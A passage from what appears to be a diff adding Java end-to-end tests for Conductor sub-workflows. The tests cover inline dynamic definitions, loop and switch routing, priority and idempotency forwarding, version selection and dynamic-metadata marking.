Task.Status.IN_PROGRESS, wf.getTasks().get(1).getStatus()); + assertNotNull(wf.getTasks().get(1).getSubWorkflowId()); + }); + + String subWorkflowId = + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .get(1) + .getSubWorkflowId(); + + // Step 3: Iteration 1 (product = 1×5 = 5, 5 > 5 = false) runs entirely via system + // tasks (INLINE compute + SWITCH route + INLINE low_result) and completes + // automatically on the server. Iteration 2 then starts and schedules + // high_task (product = 2×5 = 10, 10 > 5 = true → SIMPLE high_task). + await().pollInterval(500, TimeUnit.MILLISECONDS) + .atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow subWf = workflowClient.getWorkflow(subWorkflowId, true); + // high_task__2 is the reference name in iteration 2 + Task highTask = subWf.getTaskByRefName("high_task__2"); + assertNotNull( + highTask, + "high_task__2 should be scheduled in iteration 2"); + assertEquals(Task.Status.SCHEDULED, highTask.getStatus()); + assertEquals( + "high", + highTask.getInputData().get("category"), + "task input must carry the category parameter mapping"); + }); + + String highTaskId = + workflowClient + .getWorkflow(subWorkflowId, true) + .getTaskByRefName("high_task__2") + .getTaskId(); + TaskResult highResult = new TaskResult(); + highResult.setWorkflowInstanceId(subWorkflowId); + highResult.setTaskId(highTaskId); + highResult.setStatus(TaskResult.Status.COMPLETED); + highResult.setOutputData(Map.of("label", "high", "done", true)); + taskClient.updateTask(highResult); + + // Step 4: After high_task completes, the DO_WHILE condition evaluates to false + // (2 < 2 = false), the loop exits, final_result INLINE auto-executes, and + // the sub-workflow completes with the expected output. + await().pollInterval(500, TimeUnit.MILLISECONDS) + .atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow subWf = workflowClient.getWorkflow(subWorkflowId, true); + assertEquals(Workflow.WorkflowStatus.COMPLETED, subWf.getStatus()); + assertEquals( + 2, + subWf.getOutput().get("loopsDone"), + "sub-workflow must report 2 completed loop iterations"); + assertEquals( + true, + subWf.getOutput().get("allDone"), + "sub-workflow allDone flag must be true"); + }); + + // Step 5: Parent workflow completes once the SUB_WORKFLOW task is done. + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.COMPLETED, wf.getStatus()); + }); + } finally { + // Best-effort cleanup so as not to leave running workflows on the server + try { + workflowClient.terminateWorkflow(workflowId, "e2e test cleanup"); + } catch (Exception ignored) { + } + try { + metadataClient.unregisterWorkflowDef(parentWfName, 1); + } catch (Exception ignored) { + } + } + } + + /** + * Builds the parent workflow definition programmatically. + * + *

    Task 1 — wf_builder (SIMPLE): The test completes this task with the sub-workflow + * definition Map as output["result"]. + * + *

    Task 2 — exec (SUB_WORKFLOW): subWorkflowParam.workflowDefinition is set to the String + * expression "${wf_builder.output.result}". SubWorkflowTaskMapper resolves this expression at + * task-scheduling time via getTaskInputV2 and injects the resolved Map as + * inputData["subWorkflowDefinition"], which SubWorkflow.start() converts to a WorkflowDef. + */ + private static WorkflowDef buildParentWorkflowDef( + String workflowName, String wfBuilderTaskName) { + WorkflowTask builderTask = new WorkflowTask(); + builderTask.setName(wfBuilderTaskName); + builderTask.setTaskReferenceName("wf_builder"); + builderTask.setWorkflowTaskType(TaskType.SIMPLE); + builderTask.setInputParameters( + Map.of( + "tp1", "${workflow.input.threshold}", + "tp2", "${workflow.input.iterations}")); + + WorkflowTask execTask = new WorkflowTask(); + execTask.setName("exec_plan"); + execTask.setTaskReferenceName("exec"); + execTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + // Pass workflow inputs through to the sub-workflow + execTask.setInputParameters( + Map.of( + "threshold", "${workflow.input.threshold}", + "iterations", "${workflow.input.iterations}")); + + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName("complex_dynamic_plan_wf"); + subParams.setVersion(1); + // String expression — SubWorkflowTaskMapper resolves this to the Map at runtime. + // This is the core feature being tested: no pre-registration of the sub-workflow needed. + subParams.setWorkflowDefinition("${wf_builder.output.result}"); + execTask.setSubWorkflowParam(subParams); + + WorkflowDef wfDef = new WorkflowDef(); + wfDef.setName(workflowName); + wfDef.setVersion(1); + wfDef.setOwnerEmail("test@conductor.io"); + wfDef.setTimeoutSeconds(300); + wfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + wfDef.setTasks(List.of(builderTask, execTask)); + wfDef.setInputParameters(List.of("iterations", "threshold")); + wfDef.setOutputParameters( + Map.of( + "loopsDone", "${exec.output.loopsDone}", + "allDone", "${exec.output.allDone}")); + return wfDef; + } + + /** + * Builds the complex sub-workflow definition as a plain Map that can be serialized and passed + * as a SIMPLE task output, then deserialized by SubWorkflow.start() via + * ObjectMapper.convertValue(Map, WorkflowDef.class). + * + *

    Structure — with iterations=2, threshold=5: + * + * 

    +     * DO_WHILE (do_loop, 2 iterations)
+     *   INLINE  compute    — product = iteration × threshold         (JavaScript)
+     *   SWITCH  route      — $.product > $.threshold                 (JavaScript)
+     *       true    → SIMPLE highPathTaskName  (test polls iteration 2: product=10 > 5)
+     *       default → INLINE low_result        (auto — iteration 1: product=5 = threshold=5)
+     * INLINE  final_result — {loopsDone: iterationCount, allDone: true}
+     *
    + * + *

    Parameter mappings are used throughout: workflow.input flows into DO_WHILE inputParameters + * (iters, threshold), which flow into compute (iteration, threshold), compute.output flows into + * SWITCH inputParameters and branch tasks, and do_loop.output.iteration flows into + * final_result. + */ + private static Map buildComplexSubWfDefMap(String highPathTaskName) { + // INLINE: compute product = iteration × threshold (JavaScript) + Map computeInputs = new HashMap<>(); + computeInputs.put("evaluatorType", "javascript"); + computeInputs.put("expression", "function f() { return $.iteration * $.threshold; } f();"); + computeInputs.put("iteration", "${do_loop.output.iteration}"); + computeInputs.put("threshold", "${workflow.input.threshold}"); + Map computeTask = new HashMap<>(); + computeTask.put("name", "compute"); + computeTask.put("taskReferenceName", "compute"); + computeTask.put("type", "INLINE"); + computeTask.put("inputParameters", computeInputs); + + // SIMPLE: high path — scheduled only when product > threshold (iteration 2) + Map highTaskInputs = new HashMap<>(); + highTaskInputs.put("product", "${compute.output.result}"); + highTaskInputs.put("category", "high"); + Map highTask = new HashMap<>(); + highTask.put("name", highPathTaskName); + highTask.put("taskReferenceName", "high_task"); + highTask.put("type", "SIMPLE"); + highTask.put("inputParameters", highTaskInputs); + + // INLINE: low path — auto-executes when product <= threshold (iteration 1) + Map lowTaskInputs = new HashMap<>(); + lowTaskInputs.put("evaluatorType", "javascript"); + lowTaskInputs.put( + "expression", "function f() { return {label: \"low\", product: $.product}; } f();"); + lowTaskInputs.put("product", "${compute.output.result}"); + Map lowTask = new HashMap<>(); + lowTask.put("name", "low_result"); + lowTask.put("taskReferenceName", "low_result"); + lowTask.put("type", "INLINE"); + lowTask.put("inputParameters", lowTaskInputs); + + // SWITCH: routes on product > threshold using JavaScript evaluator + Map switchInputs = new HashMap<>(); + switchInputs.put("product", "${compute.output.result}"); + switchInputs.put("threshold", "${workflow.input.threshold}"); + Map routeTask = new HashMap<>(); + routeTask.put("name", "route"); + routeTask.put("taskReferenceName", "route"); + routeTask.put("type", "SWITCH"); + routeTask.put("evaluatorType", "javascript"); + routeTask.put("expression", "$.product > $.threshold"); + routeTask.put("inputParameters", switchInputs); + routeTask.put("decisionCases", Map.of("true", List.of(highTask))); + routeTask.put("defaultCase", List.of(lowTask)); + + // DO_WHILE: loops $.iters times (2 iterations with iterations=2) + // loopCondition: $.do_loop['iteration'] < $.iters → runs iterations 1 and 2 + Map loopInputs = new HashMap<>(); + loopInputs.put("iters", "${workflow.input.iterations}"); + loopInputs.put("threshold", "${workflow.input.threshold}"); + Map doLoopTask = new HashMap<>(); + doLoopTask.put("name", "do_loop"); + doLoopTask.put("taskReferenceName", "do_loop"); + doLoopTask.put("type", "DO_WHILE"); + doLoopTask.put("inputParameters", loopInputs); + doLoopTask.put("loopCondition", "$.do_loop['iteration'] < $.iters"); + doLoopTask.put("loopOver", List.of(computeTask, routeTask)); + + // INLINE: summarise results after DO_WHILE exits + Map finalInputs = new HashMap<>(); + finalInputs.put("evaluatorType", "javascript"); + finalInputs.put( + "expression", + "function f() { return {loopsDone: $.loopsDone, allDone: true}; } f();"); + finalInputs.put("loopsDone", "${do_loop.output.iteration}"); + Map finalTask = new HashMap<>(); + finalTask.put("name", "final_result"); + finalTask.put("taskReferenceName", "final_result"); + finalTask.put("type", "INLINE"); + finalTask.put("inputParameters", finalInputs); + + Map subWfDef = new HashMap<>(); + subWfDef.put("name", "complex_dynamic_plan_wf"); + subWfDef.put("version", 1); + subWfDef.put("schemaVersion", 2); + subWfDef.put("tasks", List.of(doLoopTask, finalTask)); + subWfDef.put("inputParameters", List.of("iterations", "threshold")); + subWfDef.put( + "outputParameters", + Map.of( + "loopsDone", "${final_result.output.result.loopsDone}", + "allDone", "${final_result.output.result.allDone}")); + subWfDef.put("timeoutPolicy", "ALERT_ONLY"); + subWfDef.put("timeoutSeconds", 0); + return subWfDef; + } + + /** + * Verifies that the priority set in SubWorkflowParams is forwarded to the started sub-workflow. + * + *

    SubWorkflow.start() now reads "priority" from task inputData (wired by the mapper from + * subWorkflowParams.priority) and passes it to StartWorkflowInput. This test confirms the + * end-to-end propagation: subWorkflowParams.priority=7 → sub-workflow.priority=7. + */ + @Test + public void testPriorityPropagatedFromSubWorkflowParams() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + + String suffix = RandomStringUtils.randomAlphanumeric(6).toLowerCase(); + String parentWfName = "priority_parent_" + suffix; + String subWfName = "priority_sub_" + suffix; + String taskName = "priority_task_" + suffix; + + // Register sub-workflow with a single SIMPLE task + TaskDef taskDef = new TaskDef(taskName); + taskDef.setOwnerEmail("test@conductor.io"); + WorkflowTask simpleTask = new WorkflowTask(); + simpleTask.setName(taskName); + simpleTask.setTaskReferenceName("t1"); + simpleTask.setWorkflowTaskType(TaskType.SIMPLE); + WorkflowDef subWfDef = new WorkflowDef(); + subWfDef.setName(subWfName); + subWfDef.setVersion(1); + subWfDef.setOwnerEmail("test@conductor.io"); + subWfDef.setTasks(List.of(simpleTask)); + subWfDef.setTimeoutSeconds(300); + subWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + // Register parent workflow with priority=7 set in subWorkflowParams + WorkflowTask subWfTask = new WorkflowTask(); + subWfTask.setName("exec"); + subWfTask.setTaskReferenceName("exec"); + subWfTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName(subWfName); + subParams.setVersion(1); + subParams.setPriority(7); + subWfTask.setSubWorkflowParam(subParams); + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setVersion(1); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setTasks(List.of(subWfTask)); + parentWfDef.setTimeoutSeconds(300); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + metadataClient.registerTaskDefs(List.of(taskDef)); + metadataClient.updateWorkflowDefs(List.of(subWfDef, parentWfDef)); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(parentWfName); + req.setVersion(1); + String workflowId = workflowClient.startWorkflow(req); + + try { + // Wait for the SUB_WORKFLOW task to start and the sub-workflow to be created + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(1, wf.getTasks().size()); + assertEquals( + Task.Status.IN_PROGRESS, wf.getTasks().get(0).getStatus()); + assertNotNull(wf.getTasks().get(0).getSubWorkflowId()); + }); + + String subWorkflowId = + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .get(0) + .getSubWorkflowId(); + + // Priority set in subWorkflowParams must be propagated to the sub-workflow instance + Workflow subWf = workflowClient.getWorkflow(subWorkflowId, false); + assertEquals( + 7, + subWf.getPriority(), + "Sub-workflow priority must match the value set in subWorkflowParams"); + } finally { + try { + workflowClient.terminateWorkflow(workflowId, "e2e test cleanup"); + } catch (Exception ignored) { + } + try { + metadataClient.unregisterWorkflowDef(parentWfName, 1); + metadataClient.unregisterWorkflowDef(subWfName, 1); + metadataClient.unregisterTaskDef(taskName); + } catch (Exception ignored) { + } + } + } + + /** + * Verifies that an inline sub-workflow definition resolved from a String expression has + * "_systemMetadata.dynamic = true" injected into its workflow input by SubWorkflow.start(). + * + *

    This allows downstream tasks and tooling to distinguish dynamically-generated + * sub-workflows from statically-registered ones. + */ + @Test + public void testDynamicInlineSubWorkflowMarkedInSystemMetadata() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + + String suffix = RandomStringUtils.randomAlphanumeric(6).toLowerCase(); + String parentWfName = "dynamic_mark_parent_" + suffix; + String builderTaskName = "dynamic_mark_builder_" + suffix; + + // Minimal inline sub-workflow def: a single INLINE task that auto-completes + Map inlineTask = new HashMap<>(); + inlineTask.put("name", "marker_check"); + inlineTask.put("taskReferenceName", "marker_check"); + inlineTask.put("type", "INLINE"); + inlineTask.put( + "inputParameters", Map.of("evaluatorType", "javascript", "expression", "true;")); + + Map subWfDefMap = new HashMap<>(); + subWfDefMap.put("name", "dynamic_mark_sub_wf"); + subWfDefMap.put("version", 1); + subWfDefMap.put("schemaVersion", 2); + subWfDefMap.put("tasks", List.of(inlineTask)); + subWfDefMap.put("inputParameters", List.of()); + subWfDefMap.put("outputParameters", Map.of()); + subWfDefMap.put("timeoutPolicy", "ALERT_ONLY"); + subWfDefMap.put("timeoutSeconds", 0); + + // Parent: wf_builder returns the sub-wf def; exec SUB_WORKFLOW resolves + // "${wf_builder.output.result}" + TaskDef builderDef = new TaskDef(builderTaskName); + builderDef.setOwnerEmail("test@conductor.io"); + + WorkflowTask builderTask = new WorkflowTask(); + builderTask.setName(builderTaskName); + builderTask.setTaskReferenceName("wf_builder"); + builderTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask execTask = new WorkflowTask(); + execTask.setName("exec_dynamic"); + execTask.setTaskReferenceName("exec"); + execTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName("dynamic_mark_sub_wf"); + subParams.setVersion(1); + subParams.setWorkflowDefinition("${wf_builder.output.result}"); + execTask.setSubWorkflowParam(subParams); + + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setVersion(1); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setTasks(List.of(builderTask, execTask)); + parentWfDef.setTimeoutSeconds(300); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + metadataClient.registerTaskDefs(List.of(builderDef)); + metadataClient.updateWorkflowDefs(List.of(parentWfDef)); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(parentWfName); + req.setVersion(1); + String workflowId = workflowClient.startWorkflow(req); + + try { + // Complete wf_builder with the inline sub-workflow definition + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Task.Status.SCHEDULED, wf.getTasks().get(0).getStatus()); + }); + + String builderTaskId = + workflowClient.getWorkflow(workflowId, true).getTasks().get(0).getTaskId(); + TaskResult result = new TaskResult(); + result.setWorkflowInstanceId(workflowId); + result.setTaskId(builderTaskId); + result.setStatus(TaskResult.Status.COMPLETED); + result.setOutputData(Map.of("result", subWfDefMap)); + taskClient.updateTask(result); + + // Wait until the SUB_WORKFLOW task has a sub-workflow ID — the task may be + // IN_PROGRESS or already COMPLETED since the inline sub-workflow has only a + // single auto-executing INLINE task and can finish before we poll. + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(2, wf.getTasks().size()); + assertNotNull(wf.getTasks().get(1).getSubWorkflowId()); + }); + + String subWorkflowId = + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .get(1) + .getSubWorkflowId(); + + // _systemMetadata.dynamic must be true in the sub-workflow's input + Workflow subWf = workflowClient.getWorkflow(subWorkflowId, false); + Object systemMetadata = subWf.getInput().get("_systemMetadata"); + assertNotNull(systemMetadata, "_systemMetadata must be present in sub-workflow input"); + assertTrue(systemMetadata instanceof Map, "_systemMetadata must be a Map"); + assertEquals( + true, + ((Map) systemMetadata).get("dynamic"), + "dynamic flag must be true for inline sub-workflows"); + } finally { + try { + workflowClient.terminateWorkflow(workflowId, "e2e test cleanup"); + } catch (Exception ignored) { + } + try { + metadataClient.unregisterWorkflowDef(parentWfName, 1); + metadataClient.unregisterTaskDef(builderTaskName); + } catch (Exception ignored) { + } + } + } + + /** + * Smoke test: verifies that setting idempotencyKey and idempotencyStrategy in SubWorkflowParams + * does not break workflow execution. The fields are wired end-to-end through the mapper and + * executor (StartWorkflowInput); enforcement is implementation-specific and not tested here. + */ + @Test + public void testIdempotencyKeyForwardedWithoutBreakingExecution() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + + String suffix = RandomStringUtils.randomAlphanumeric(6).toLowerCase(); + String parentWfName = "idempotency_parent_" + suffix; + String subWfName = "idempotency_sub_" + suffix; + String taskName = "idempotency_task_" + suffix; + + TaskDef taskDef = new TaskDef(taskName); + taskDef.setOwnerEmail("test@conductor.io"); + + WorkflowTask simpleTask = new WorkflowTask(); + simpleTask.setName(taskName); + simpleTask.setTaskReferenceName("t1"); + simpleTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef subWfDef = new WorkflowDef(); + subWfDef.setName(subWfName); + subWfDef.setVersion(1); + subWfDef.setOwnerEmail("test@conductor.io"); + subWfDef.setTasks(List.of(simpleTask)); + subWfDef.setTimeoutSeconds(300); + subWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + WorkflowTask subWfTask = new WorkflowTask(); + subWfTask.setName("exec"); + subWfTask.setTaskReferenceName("exec"); + subWfTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName(subWfName); + subParams.setVersion(1); + subParams.setIdempotencyKey("test-idempotency-key-" + suffix); + subWfTask.setSubWorkflowParam(subParams); + + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setVersion(1); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setTasks(List.of(subWfTask)); + parentWfDef.setTimeoutSeconds(300); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + metadataClient.registerTaskDefs(List.of(taskDef)); + metadataClient.updateWorkflowDefs(List.of(subWfDef, parentWfDef)); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(parentWfName); + req.setVersion(1); + String workflowId = workflowClient.startWorkflow(req); + + try { + // Sub-workflow must start and reach IN_PROGRESS — idempotency key must not prevent + // normal execution or cause an error when the OSS executor ignores it. + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(1, wf.getTasks().size()); + assertEquals( + Task.Status.IN_PROGRESS, wf.getTasks().get(0).getStatus()); + assertNotNull(wf.getTasks().get(0).getSubWorkflowId()); + }); + + String subWorkflowId = + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .get(0) + .getSubWorkflowId(); + + // Complete the task inside the sub-workflow so both workflows finish cleanly + String innerTaskId = awaitFirstTaskId(workflowClient, subWorkflowId); + TaskResult innerResult = new TaskResult(); + innerResult.setWorkflowInstanceId(subWorkflowId); + innerResult.setTaskId(innerTaskId); + innerResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(innerResult); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflowClient + .getWorkflow(workflowId, false) + .getStatus())); + } finally { + try { + workflowClient.terminateWorkflow(workflowId, "e2e test cleanup"); + } catch (Exception ignored) { + } + try { + metadataClient.unregisterWorkflowDef(parentWfName, 1); + metadataClient.unregisterWorkflowDef(subWfName, 1); + metadataClient.unregisterTaskDef(taskName); + } catch (Exception ignored) { + } + } + } + + /** + * Verifies that an explicit subWorkflowParams.version routes to that exact version, not the + * latest. This also validates the Number.intValue() fix: the version integer survives the JSON + * round-trip through the data store (which can deserialise it as a Double) and is parsed + * correctly. If parseInt("2.0") were used instead, the catch would swallow the error, resolve + * version=null, and run version 2 (latest) even when version 1 was explicitly requested — a + * silent correctness bug. + * + *

    Proof structure: + * + * 

    +     * P1. Two versions of the sub-workflow are registered; they differ in their outputParameters:
+     *     v1 outputs {version: "v1"}, v2 outputs {version: "v2"}.
+     * P2. Parent is configured with subWorkflowParams.version=1.
+     * P3. The mapper writes the resolved version into the task's inputData["subWorkflowVersion"].
+     * P4. SubWorkflow.start() reads subWorkflowVersion via Number.intValue() → 1.
+     * P5. StartWorkflowInput.version=1 → WorkflowExecutor fetches v1 definition.
+     * P6. Sub-workflow output must contain {version: "v1"}, not {version: "v2"}.
+     * Contrapositive: if we observed {version: "v2"}, the version was not forwarded correctly.
+     *
    + */ + @Test + public void testExplicitVersionRoutesToCorrectSubWorkflowVersion() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + + String suffix = RandomStringUtils.randomAlphanumeric(6).toLowerCase(); + String parentWfName = "version_parent_" + suffix; + String subWfName = "version_sub_" + suffix; + String taskName = "version_task_" + suffix; + + TaskDef taskDef = new TaskDef(taskName); + taskDef.setOwnerEmail("test@conductor.io"); + + // v1: task outputs {version: "v1"} + WorkflowTask taskV1 = new WorkflowTask(); + taskV1.setName(taskName); + taskV1.setTaskReferenceName("t1"); + taskV1.setWorkflowTaskType(TaskType.SIMPLE); + WorkflowDef subWfV1 = new WorkflowDef(); + subWfV1.setName(subWfName); + subWfV1.setVersion(1); + subWfV1.setOwnerEmail("test@conductor.io"); + subWfV1.setTasks(List.of(taskV1)); + subWfV1.setOutputParameters(Map.of("version", "v1")); + subWfV1.setTimeoutSeconds(300); + subWfV1.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + // v2: same task, different output sentinel + WorkflowTask taskV2 = new WorkflowTask(); + taskV2.setName(taskName); + taskV2.setTaskReferenceName("t1"); + taskV2.setWorkflowTaskType(TaskType.SIMPLE); + WorkflowDef subWfV2 = new WorkflowDef(); + subWfV2.setName(subWfName); + subWfV2.setVersion(2); + subWfV2.setOwnerEmail("test@conductor.io"); + subWfV2.setTasks(List.of(taskV2)); + subWfV2.setOutputParameters(Map.of("version", "v2")); + subWfV2.setTimeoutSeconds(300); + subWfV2.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + // Parent requests version 1 explicitly + WorkflowTask subWfTask = new WorkflowTask(); + subWfTask.setName("exec"); + subWfTask.setTaskReferenceName("exec"); + subWfTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName(subWfName); + subParams.setVersion(1); // explicitly request v1 even though v2 is latest + subWfTask.setSubWorkflowParam(subParams); + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setVersion(1); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setTasks(List.of(subWfTask)); + parentWfDef.setTimeoutSeconds(300); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + metadataClient.registerTaskDefs(List.of(taskDef)); + metadataClient.updateWorkflowDefs(List.of(subWfV1, subWfV2, parentWfDef)); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(parentWfName); + req.setVersion(1); + String workflowId = workflowClient.startWorkflow(req); + + try { + // Wait for the sub-workflow to be running + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertNotNull(wf.getTasks().get(0).getSubWorkflowId()); + }); + + String subWorkflowId = + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .get(0) + .getSubWorkflowId(); + + // Complete the task in the sub-workflow + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow subWf = workflowClient.getWorkflow(subWorkflowId, true); + assertNotNull(subWf.getTasks()); + assertNotNull(subWf.getTasks().get(0).getTaskId()); + }); + + String innerTaskId = awaitFirstTaskId(workflowClient, subWorkflowId); + TaskResult result = new TaskResult(); + result.setWorkflowInstanceId(subWorkflowId); + result.setTaskId(innerTaskId); + result.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(result); + + // The sub-workflow must be the v1 instance — its output sentinel is "v1" + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow subWf = workflowClient.getWorkflow(subWorkflowId, false); + assertEquals(Workflow.WorkflowStatus.COMPLETED, subWf.getStatus()); + assertEquals( + "v1", + subWf.getOutput().get("version"), + "Sub-workflow must execute version 1, not the latest (v2)"); + }); + } finally { + try { + workflowClient.terminateWorkflow(workflowId, "e2e test cleanup"); + } catch (Exception ignored) { + } + try { + metadataClient.unregisterWorkflowDef(parentWfName, 1); + metadataClient.unregisterWorkflowDef(subWfName, 1); + metadataClient.unregisterWorkflowDef(subWfName, 2); + metadataClient.unregisterTaskDef(taskName); + } catch (Exception ignored) { + } + } + } + + /** + * Verifies that a normally-registered sub-workflow (no inline workflowDefinition) does NOT have + * "_systemMetadata" injected into its workflow input. The dynamic marking must only appear for + * inline definitions where workflowDefinition != null after resolution. + * + *

    This is the boundary condition: the "else" branch of {@code if (workflowDefinition != + * null)}. If the guard were missing, every sub-workflow would be marked dynamic. + */ + @Test + public void testRegisteredSubWorkflowNotMarkedDynamic() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + + String suffix = RandomStringUtils.randomAlphanumeric(6).toLowerCase(); + String parentWfName = "nodyn_parent_" + suffix; + String subWfName = "nodyn_sub_" + suffix; + String taskName = "nodyn_task_" + suffix; + + TaskDef taskDef = new TaskDef(taskName); + taskDef.setOwnerEmail("test@conductor.io"); + WorkflowTask simpleTask = new WorkflowTask(); + simpleTask.setName(taskName); + simpleTask.setTaskReferenceName("t1"); + simpleTask.setWorkflowTaskType(TaskType.SIMPLE); + WorkflowDef subWfDef = new WorkflowDef(); + subWfDef.setName(subWfName); + subWfDef.setVersion(1); + subWfDef.setOwnerEmail("test@conductor.io"); + subWfDef.setTasks(List.of(simpleTask)); + subWfDef.setTimeoutSeconds(300); + subWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + // Parent uses a pre-registered sub-workflow (no workflowDefinition field) + WorkflowTask subWfTask = new WorkflowTask(); + subWfTask.setName("exec"); + subWfTask.setTaskReferenceName("exec"); + subWfTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName(subWfName); + subParams.setVersion(1); + // workflowDefinition intentionally NOT set — this is a registered lookup + subWfTask.setSubWorkflowParam(subParams); + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setVersion(1); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setTasks(List.of(subWfTask)); + parentWfDef.setTimeoutSeconds(300); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + metadataClient.registerTaskDefs(List.of(taskDef)); + metadataClient.updateWorkflowDefs(List.of(subWfDef, parentWfDef)); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(parentWfName); + req.setVersion(1); + String workflowId = workflowClient.startWorkflow(req); + + try { + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertNotNull(wf.getTasks().get(0).getSubWorkflowId()); + }); + + String subWorkflowId = + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .get(0) + .getSubWorkflowId(); + + // Registered sub-workflow must NOT have _systemMetadata in its input + Workflow subWf = workflowClient.getWorkflow(subWorkflowId, false); + assertNull( + subWf.getInput().get("_systemMetadata"), + "Registered sub-workflows must not be marked dynamic — " + + "_systemMetadata must be absent when workflowDefinition is null"); + } finally { + try { + workflowClient.terminateWorkflow(workflowId, "e2e test cleanup"); + } catch (Exception ignored) { + } + try { + metadataClient.unregisterWorkflowDef(parentWfName, 1); + metadataClient.unregisterWorkflowDef(subWfName, 1); + metadataClient.unregisterTaskDef(taskName); + } catch (Exception ignored) { + } + } + } + + /** + * Verifies that a STATIC inline sub-workflow definition (a concrete WorkflowDef object embedded + * directly in subWorkflowParam.workflowDefinition, NOT a String expression) is also marked + * dynamic. This covers the object-form path of the dynamic-marking code, which executes for ANY + * non-null workflowDefinition regardless of whether it was resolved from an expression or + * embedded at compile time. + */ + @Test + public void testStaticInlineSubWorkflowAlsoMarkedDynamic() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient 